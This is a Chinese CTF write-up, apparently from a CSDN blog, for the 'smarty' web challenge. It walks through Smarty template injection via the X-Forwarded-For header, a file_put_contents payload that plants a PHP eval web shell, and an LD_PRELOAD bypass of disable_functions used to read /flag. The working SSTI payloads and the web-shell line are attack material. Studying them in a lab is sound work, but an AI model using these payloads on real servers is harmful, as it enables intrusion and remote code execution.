攻防世界 web高手进阶区 9分题 smarty

前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是smarty的writeup

解题过程

smarty是php模板引擎
这题应该是一个SSTI

进入界面

在这里插入图片描述
根据题目和页面最下方build with smarty
确认是用smarty模板
那就有两种可能的注入点:

  • XFF
  • client IP

尝试
将XFF头改为{7*7}

在这里插入图片描述
发现current IP的值变为了49
可以确定这里存在SSTI

尝试注入

{
    
    $smarty.version}

在这里插入图片描述
得到smarty版本3.1.30

{
    
    phpinfo()}

在这里插入图片描述
得到php版本7.2.24

注入方法:

  • 常规{}
  • {php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用
  • {literal}标签,在php5中可以用
  • 静态方法,在在3.1.30的Smarty中被删除
  • {if}标签

总结一下就是在本题中只有常规{}{if}标签可用

先试试常规

{
    
    system('ls')}

在这里插入图片描述
没有显示
但之前phpinfo是正常显示的
就迷惑了

试试{if}标签

{
    
    if phpinfo()}{
    
    /if}

在这里插入图片描述
phpinfo显示

{
    
    if system('ls')}{
    
    /if}

在这里插入图片描述
ls指令又失败了

不死心试试其他注入方法

{
    
    php}phpinfo();{
    
    /php}

在这里插入图片描述

{
    
    self::getStreamVariable("file:///etc/passwd")}

在这里插入图片描述
都意料之内的直接失败

这说明注入方法还是常规{}{if}标签
但是system可能被干掉了
去看眼phpinfo里面的信息
在这里插入图片描述

在这里插入图片描述
发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
但一时没有思路
查了好一会儿资料
。。。。。。
这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions
一句话木马

{
    
    if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{
    
    /if}

在这里插入图片描述

蚁剑连接
在这里插入图片描述
在这里插入图片描述
根据文章
上传bypass_disablefunc.php和bypass_disablefunc_x64.so
具体代码在作者的github
在这里插入图片描述
url访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 

在这里插入图片描述
成功得到flag

结语

smarty的模板注入没啥问题,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有点妙
也查了好久
学到了

知识点

  • smarty模板注入
  • 巧用LD_PRELOAD突破disable_functions

几篇参考

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/109123323